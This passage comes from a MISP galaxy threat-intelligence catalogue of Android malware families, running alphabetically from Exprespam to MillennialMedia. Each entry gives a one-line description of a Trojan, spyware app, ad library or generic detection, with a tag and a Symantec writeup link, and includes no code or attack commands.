Exprespam is a Trojan horse for Android devices that displays a fake message and steals personal information stored on the compromised device.
The tag is: misp-galaxy:android="Exprespam"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-010705-2324-99 |
Fakealbums
Fakealbums is a Trojan horse for Android devices that monitors and forwards received messages from the compromised device.
The tag is: misp-galaxy:android="Fakealbums"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071819-0636-99 |
Fakeangry
Fakeangry is a Trojan horse on the Android platform that opens a back door, downloads files, and steals potentially confidential information from the compromised device.
The tag is: misp-galaxy:android="Fakeangry"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022823-4233-99 |
Fakeapp
Fakeapp is a Trojan horse for Android devices that downloads configuration files to display advertisements and collects information from the compromised device.
The tag is: misp-galaxy:android="Fakeapp"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022805-4318-99 |
Fakebanco
Fakebanco is a Trojan horse for Android devices that redirects users to a phishing page in order to steal their information.
The tag is: misp-galaxy:android="Fakebanco"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-112109-5329-99 |
Fakebank
Fakebank is a Trojan horse that steals information from the compromised device.
The tag is: misp-galaxy:android="Fakebank"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071813-2448-99 |
Fakebank.B
Fakebank.B is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
The tag is: misp-galaxy:android="Fakebank.B"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-101114-5645-99 |
Fakebok
Fakebok is a Trojan horse for Android devices that sends SMS messages to premium phone numbers.
The tag is: misp-galaxy:android="Fakebok"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-021115-5153-99 |
Fakedaum
Fakedaum is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Fakedaum"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-061813-3630-99 |
Fakedefender
Fakedefender is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to purchase an app in order to remove non-existent malware or security risks from the device.
The tag is: misp-galaxy:android="Fakedefender"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-060301-4418-99 |
Fakedefender.B
Fakedefender.B is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to purchase an app in order to remove non-existent malware or security risks from the device.
The tag is: misp-galaxy:android="Fakedefender.B"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-091013-3953-99 |
Fakedown
Fakedown is a Trojan horse for Android devices that downloads more malicious apps onto the compromised device.
The tag is: misp-galaxy:android="Fakedown"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-041803-5918-99 |
Fakeflash
Fakeflash is a Trojan horse for Android devices that installs a fake Flash application in order to direct users to a website.
The tag is: misp-galaxy:android="Fakeflash"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070318-2122-99 |
Fakegame
Fakegame is a Trojan horse for Android devices that displays advertisements and steals information from the compromised device.
The tag is: misp-galaxy:android="Fakegame"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040808-2922-99 |
Fakeguard
Fakeguard is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Fakeguard"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-102908-3526-99 |
Fakejob
Fakejob is a Trojan horse for Android devices that redirects users to scam websites.
The tag is: misp-galaxy:android="Fakejob"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030721-3048-99 |
Fakekakao
Fakekakao is a Trojan horse for Android devices sends SMS messages to contacts stored on the compromised device.
The tag is: misp-galaxy:android="Fakekakao"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071617-2031-99 |
Fakelemon
Fakelemon is a Trojan horse for Android devices that blocks certain SMS messages and may subscribe to services without the user’s consent.
The tag is: misp-galaxy:android="Fakelemon"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-120609-3608-99 |
Fakelicense
Fakelicense is a Trojan horse that displays advertisements on the compromised device.
The tag is: misp-galaxy:android="Fakelicense"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-062709-1437-99 |
Fakelogin
Fakelogin is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Fakelogin"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-102108-5457-99 |
FakeLookout
FakeLookout is a Trojan horse for Android devices that opens a back door and steals information on the compromised device.
The tag is: misp-galaxy:android="FakeLookout"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-101919-2128-99 |
FakeMart
FakeMart is a Trojan horse for Android devices that may send SMS messages to premium rate numbers. It may also block incoming messages and steal information from the compromised device.
The tag is: misp-galaxy:android="FakeMart"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-081217-1428-99 |
Fakemini
Fakemini is a Trojan horse for Android devices that disguises itself as an installation for the Opera Mini browser and sends premium-rate SMS messages to a predetermined number.
The tag is: misp-galaxy:android="Fakemini"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-110410-5958-99 |
Fakemrat
Fakemrat is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
The tag is: misp-galaxy:android="Fakemrat"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2016-012608-1538-99 |
Fakeneflic
Fakeneflic is a Trojan horse that steals information from Android devices.
The tag is: misp-galaxy:android="Fakeneflic"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-101105-0518-99 |
Fakenotify
Fakenotify is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers, collects and sends information, and periodically displays Web pages. It also downloads legitimate apps onto the compromised device.
The tag is: misp-galaxy:android="Fakenotify"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011302-3052-99 |
Fakepatch
Fakepatch is a Trojan horse for Android devices that downloads more files on to the device.
The tag is: misp-galaxy:android="Fakepatch"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062811-2820-99 |
Fakeplay
Fakeplay is a Trojan horse for Android devices that steals information from the compromised device and sends it to a predetermined email address.
The tag is: misp-galaxy:android="Fakeplay"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-100917-3825-99 |
Fakescarav
Fakescarav is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to pay in order to remove non-existent malware or security risks from the device.
The tag is: misp-galaxy:android="Fakescarav"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-012809-1901-99 |
Fakesecsuit
Fakesecsuit is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Fakesecsuit"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-060514-1301-99 |
Fakesucon
Fakesucon is a Trojan horse program for Android devices that sends SMS messages to premium-rate phone numbers.
The tag is: misp-galaxy:android="Fakesucon"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-120915-2524-99 |
Faketaobao
Faketaobao is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Faketaobao"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-062518-4057-99 |
Faketaobao.B
Faketaobao.B is a Trojan horse for Android devices that intercepts and and sends incoming SMS messages to a remote attacker.
The tag is: misp-galaxy:android="Faketaobao.B"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-012106-4013-99 |
Faketoken
Faketoken is a Trojan horse that opens a back door on the compromised device.
The tag is: misp-galaxy:android="Faketoken"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-032211-2048-99 |
http://bgr.com/2017/08/18/android-malware-faketoken-steal-credit-card-info/ |
Fakeupdate
Fakeupdate is a Trojan horse for Android devices that downloads other applications onto the compromised device.
The tag is: misp-galaxy:android="Fakeupdate"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-081914-5637-99 |
Fakevoice
Fakevoice is a Trojan horse for Android devices that dials a premium-rate phone number.
The tag is: misp-galaxy:android="Fakevoice"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-040510-3249-99 |
Farmbaby
Farmbaby is a spyware application for Android devices that logs certain information and sends SMS messages to a predetermined phone number.
The tag is: misp-galaxy:android="Farmbaby"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090715-3641-99 |
Fauxtocopy
Fauxtocopy is a spyware application for Android devices that gathers photos from the device and sends them to a predetermined email address.
The tag is: misp-galaxy:android="Fauxtocopy"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111515-3940-99 |
Feiwo
Feiwo is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Feiwo"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-4038-99 |
FindAndCall
FindAndCall is a Potentially Unwanted Application for Android devices that may leak information.
The tag is: misp-galaxy:android="FindAndCall"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031020-2906-99 |
Finfish
Finfish is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
The tag is: misp-galaxy:android="Finfish"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-083016-0032-99 |
Fireleaker
Fireleaker is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Fireleaker"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031814-5207-99 |
Fitikser
Fitikser is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Fitikser"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-093015-2830-99 |
Flexispy
Flexispy is a Spyware application for Android devices that logs the device’s activity and sends it to a predetermined website.
The tag is: misp-galaxy:android="Flexispy"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-122006-4805-99 |
Fokonge
Fokonge is a Trojan horse that steals information from Android devices.
The tag is: misp-galaxy:android="Fokonge"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071802-0727-99 |
FoncySMS
FoncySMS is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers. It may also connect to an IRC server and execute any received shell commands.
The tag is: misp-galaxy:android="FoncySMS"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011502-2651-99 |
Frogonal
Frogonal is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Frogonal"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062205-2312-99 |
Ftad
Ftad is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Ftad"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040114-2020-99 |
Funtasy
Funtasy is a Trojan horse for Android devices that subscribes the user to premium SMS services.
The tag is: misp-galaxy:android="Funtasy"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-092519-5811-99 |
GallMe
GallMe is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="GallMe"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-1336-99 |
Gamex
Gamex is a Trojan horse for Android devices that downloads further threats.
The tag is: misp-galaxy:android="Gamex"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051015-1808-99 |
Gappusin
Gappusin is a Trojan horse for Android devices that downloads applications and disguises them as system updates.
The tag is: misp-galaxy:android="Gappusin"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022007-2013-99 |
Gazon
Gazon is a worm for Android devices that spreads through SMS messages.
The tag is: misp-galaxy:android="Gazon"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-030320-1436-99 |
Geinimi
Geinimi is a Trojan that opens a back door and transmits information from the device to a remote location.
The tag is: misp-galaxy:android="Geinimi"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-010111-5403-99 |
Generisk
Generisk is a generic detection for Android applications that may pose a privacy, security, or stability risk to the user or user’s Android device.
The tag is: misp-galaxy:android="Generisk"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-062622-1559-99 |
Genheur
Genheur is a generic detection for many individual but varied Trojans for Android devices for which specific definitions have not been created. A generic detection is used because it protects against many Trojans that share similar characteristics.
The tag is: misp-galaxy:android="Genheur"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032613-0848-99 |
Genpush
Genpush is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Genpush"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-033109-0426-99 |
GeoFake
GeoFake is a Trojan horse for Android devices that sends SMS messages to premium-rate numbers.
The tag is: misp-galaxy:android="GeoFake"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-040217-3232-99 |
Geplook
Geplook is a Trojan horse for Android devices that downloads additional apps onto the compromised device.
The tag is: misp-galaxy:android="Geplook"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121814-0917-99 |
Getadpush
Getadpush is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Getadpush"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040112-0957-99 |
Ggtracker
Ggtracker is a Trojan horse for Android devices that sends SMS messages to a premium-rate number. It may also steal information from the device.
The tag is: misp-galaxy:android="Ggtracker"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-062208-5013-99 |
Ghostpush
Ghostpush is a Trojan horse for Android devices that roots the compromised device. It may then perform malicious activities on the compromised device.
The tag is: misp-galaxy:android="Ghostpush"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-100215-3718-99 |
Gmaster
Gmaster is a Trojan horse on the Android platform that steals potentially confidential information from the compromised device.
The tag is: misp-galaxy:android="Gmaster"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-082404-5049-99 |
Godwon
Godwon is a Trojan horse for Android devices that steals information.
The tag is: misp-galaxy:android="Godwon"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-091017-1833-99 |
Golddream
Golddream is a Trojan horse that steals information from Android devices.
The tag is: misp-galaxy:android="Golddream"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-070608-4139-99 |
Goldeneagle
Goldeneagle is a Trojan horse that steals information from Android devices.
The tag is: misp-galaxy:android="Goldeneagle"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-090110-3712-99 |
Golocker
Golocker is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Golocker"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062003-3214-99 |
Gomal
Gomal is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Gomal"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-101312-1047-99 |
Gonesixty
Gonesixty is a Trojan horse that steals information from Android devices.
The tag is: misp-galaxy:android="Gonesixty"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-093001-2649-99 |
Gonfu
Gonfu is a Trojan horse that steals information from Android devices.
The tag is: misp-galaxy:android="Gonfu"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-060610-3953-99 |
Gonfu.B
Gonfu.B is a Trojan horse that steals information from Android devices.
The tag is: misp-galaxy:android="Gonfu.B"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-030811-5215-99 |
Gonfu.C
Gonfu.C is a Trojan horse for Android devices that may download additional threats on the compromised device.
The tag is: misp-galaxy:android="Gonfu.C"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031817-3639-99 |
Gonfu.D
Gonfu.D is a Trojan horse that opens a back door on Android devices.
The tag is: misp-galaxy:android="Gonfu.D"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-040414-1158-99 |
Gooboot
Gooboot is a Trojan horse for Android devices that may send text messages to premium rate numbers.
The tag is: misp-galaxy:android="Gooboot"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031818-3034-99 |
Goodadpush
Goodadpush is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Goodadpush"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040108-0913-99 |
Greystripe
Greystripe is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Greystripe"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-2643-99 |
Gugespy
Gugespy is a spyware program for Android devices that logs the device’s activity and sends it to a predetermined email address.
The tag is: misp-galaxy:android="Gugespy"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071822-2515-99 |
Gugespy.B
Gugespy.B is a spyware program for Android devices that monitors and sends certain information to a remote location.
The tag is: misp-galaxy:android="Gugespy.B"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-070511-5038-99 |
Gupno
Gupno is a Trojan horse for Android devices that poses as a legitimate app and attempts to charge users for features that are normally free. It may also display advertisements on the compromised device.
The tag is: misp-galaxy:android="Gupno"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-072211-5533-99 |
Habey
Habey is a Trojan horse for Android devices that may attempt to delete files and send SMS messages from the compromised device.
The tag is: misp-galaxy:android="Habey"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-100608-4512-99 |
Handyclient
Handyclient is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Handyclient"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040307-5027-99 |
Hehe
Hehe is a Trojan horse for Android devices that blocks incoming calls and SMS messages from specific numbers. The Trojan also steals information from the compromised device.
The tag is: misp-galaxy:android="Hehe"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-012211-0020-99 |
Hesperbot
Hesperbot is a Trojan horse for Android devices that opens a back door on the compromised device and may steal information.
The tag is: misp-galaxy:android="Hesperbot"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121010-1120-99 |
Hippo
Hippo is a Trojan horse that sends SMS messages to premium-rate phone numbers.
The tag is: misp-galaxy:android="Hippo"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071215-3547-99 |
Hippo.B
Hippo.B is a Trojan horse that sends SMS messages to premium-rate phone numbers.
The tag is: misp-galaxy:android="Hippo.B"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031915-0151-99 |
IadPush
IadPush is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="IadPush"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-4104-99 |
iBanking
iBanking is a Trojan horse for Android devices that opens a back door on the compromised device and may steal information.
The tag is: misp-galaxy:android="iBanking"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030713-0559-99 |
Iconosis
Iconosis is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Iconosis"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062107-3327-99 |
Iconosys
Iconosys is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Iconosys"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081309-0341-99 |
Igexin
Igexin is an advertisement library that is bundled with certain Android applications. Igexin has the capability of spying on victims through otherwise benign apps by downloading malicious plugins,
The tag is: misp-galaxy:android="Igexin"
Igexin is also known as:
-
IcicleGum
Igexin has relationships with:
-
similar: misp-galaxy:android="IcicleGum" with estimative-language:likelihood-probability="likely"
ImAdPush
ImAdPush is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="ImAdPush"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040323-0218-99 |
InMobi
InMobi is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="InMobi"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-1527-99 |
Jifake
Jifake is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers.
The tag is: misp-galaxy:android="Jifake"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-073021-4247-99 |
Jollyserv
Jollyserv is a Trojan horse for Android devices that sends SMS messages and steals information from the compromised device.
The tag is: misp-galaxy:android="Jollyserv"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-090311-4533-99 |
Jsmshider
Jsmshider is a Trojan horse that opens a back door on Android devices.
The tag is: misp-galaxy:android="Jsmshider"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-062114-0857-99 |
Ju6
Ju6 is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Ju6"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2428-99 |
Jumptap
Jumptap is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Jumptap"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-0859-99 |
Jzmob
Jzmob is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Jzmob"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-1703-99 |
Kabstamper
Kabstamper is a Trojan horse for Android devices that corrupts images found on the compromised device.
The tag is: misp-galaxy:android="Kabstamper"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-060706-2305-99 |
Kidlogger
Kidlogger is a Spyware application for Android devices that logs the device’s activity and sends it to a predetermined website.
The tag is: misp-galaxy:android="Kidlogger"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-122014-1927-99 |
Kielog
Kielog is a Trojan horse for Android devices that logs keystrokes and sends the stolen information to the remote attacker.
The tag is: misp-galaxy:android="Kielog"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040205-4035-99 |
Kituri
Kituri is a Trojan horse for Android devices that blocks certain SMS messages from being received by the device. It may also send SMS messages to a premium-rate number.
The tag is: misp-galaxy:android="Kituri"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-061111-5350-99 |
Kranxpay
Kranxpay is a Trojan horse for Android devices that downloads other apps onto the device.
The tag is: misp-galaxy:android="Kranxpay"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071009-0809-99 |
Krysanec
Krysanec is a Trojan horse for Android devices that opens a back door on the compromised device.
The tag is: misp-galaxy:android="Krysanec"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-090113-4128-99 |
Kuaidian360
Kuaidian360 is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Kuaidian360"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040109-2415-99 |
Kuguo
Kuguo is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Kuguo"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-5215-99 |
Lastacloud
Lastacloud is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Lastacloud"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121216-4334-99 |
Laucassspy
Laucassspy is a spyware program for Android devices that steals information and sends it to a remote location.
The tag is: misp-galaxy:android="Laucassspy"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-092409-1822-99 |
Lifemonspy
Lifemonspy is a spyware application for Android devices that can track the phone’s location, download SMS messages, and erase certain data from the device.
The tag is: misp-galaxy:android="Lifemonspy"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111516-5540-99 |
Lightdd
Lightdd is a Trojan horse that steals information from Android devices.
The tag is: misp-galaxy:android="Lightdd"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-053114-2342-99 |
Loaderpush
Loaderpush is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Loaderpush"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040108-0244-99 |
Locaspy
Locaspy is a Potentially Unwanted Application for Android devices that tracks the location of the compromised device.
The tag is: misp-galaxy:android="Locaspy"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030720-3500-99 |
Lockdroid.E
Lockdroid.E is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.
The tag is: misp-galaxy:android="Lockdroid.E"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-103005-2209-99 |
Lockdroid.F
Lockdroid.F is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.
The tag is: misp-galaxy:android="Lockdroid.F"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-102215-4346-99 |
Lockdroid.G
Lockdroid.G is a Trojan horse for Android devices that may display a ransom demand on the compromised device.
The tag is: misp-galaxy:android="Lockdroid.G"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-050610-2450-99 |
Lockdroid.H
Lockdroid.H is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.
The tag is: misp-galaxy:android="Lockdroid.H"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2016-031621-1349-99 |
Lockscreen
Lockscreen is a Trojan horse for Android devices that locks the compromised device from use.
The tag is: misp-galaxy:android="Lockscreen"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-032409-0743-99 |
LogiaAd
LogiaAd is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="LogiaAd"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-0348-99 |
Loicdos
Loicdos is an Android application that provides an interface to a website in order to perform a denial of service (DoS) attack against a computer.
The tag is: misp-galaxy:android="Loicdos"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022002-2431-99 |
Loozfon
Loozfon is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Loozfon"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-082005-5451-99 |
Lotoor
Lotoor is a generic detection for hack tools that exploit vulnerabilities in order to gain root privileges on compromised Android devices.
The tag is: misp-galaxy:android="Lotoor"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091922-4449-99 |
Lovespy
Lovespy is a Trojan horse for Android devices that steals information from the device.
The tag is: misp-galaxy:android="Lovespy"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071814-3805-99 |
Lovetrap
Lovetrap is a Trojan horse that sends SMS messages to premium-rate phone numbers.
The tag is: misp-galaxy:android="Lovetrap"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-072806-2905-99 |
Luckycat
Luckycat is a Trojan horse for Android devices that opens a back door and steals information on the compromised device.
The tag is: misp-galaxy:android="Luckycat"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080617-5343-99 |
Machinleak
Machinleak is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Machinleak"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-120311-2440-99 |
Maistealer
Maistealer is a Trojan that steals information from Android devices.
The tag is: misp-galaxy:android="Maistealer"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-072411-4350-99 |
Malapp
Malapp is a generic detection for many individual but varied threats on Android devices that share similar characteristics.
The tag is: misp-galaxy:android="Malapp"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-073014-3354-99 |
Malebook
Malebook is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Malebook"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071206-3403-99 |
Malhome
Malhome is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Malhome"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071118-0441-99 |
Malminer
Malminer is a Trojan horse for Android devices that mines cryptocurrencies on the compromised device.
The tag is: misp-galaxy:android="Malminer"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032712-3709-99 |
Mania
Mania is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.
The tag is: misp-galaxy:android="Mania"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070623-1520-99 |
Maxit
Maxit is a Trojan horse for Android devices that opens a back door on the compromised device. It also steals certain information and uploads it to a remote location.
The tag is: misp-galaxy:android="Maxit"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-120411-2511-99 |
MdotM
MdotM is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="MdotM"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-5824-99 |
Medialets
Medialets is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Medialets"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-5222-99 |
Meshidden
Meshidden is a spyware application for Android devices that allows the device it is installed on to be monitored.
The tag is: misp-galaxy:android="Meshidden"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031913-5257-99 |
Mesploit
Mesploit is a tool for Android devices used to create applications that exploit the Android Fake ID vulnerability.
The tag is: misp-galaxy:android="Mesploit"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-032014-2847-99 |
Mesprank
Mesprank is a Trojan horse for Android devices that opens a back door on the compromised device.
The tag is: misp-galaxy:android="Mesprank"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030717-1933-99 |
Meswatcherbox
Meswatcherbox is a spyware application for Android devices that forwards SMS messages without the user knowing.
The tag is: misp-galaxy:android="Meswatcherbox"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111612-2736-99 |
Miji
Miji is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Miji"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-4720-99 |
Milipnot
Milipnot is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Milipnot"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-070414-0941-99 |
MillennialMedia
MillennialMedia is an advertisement library that is bundled with certain Android applications.
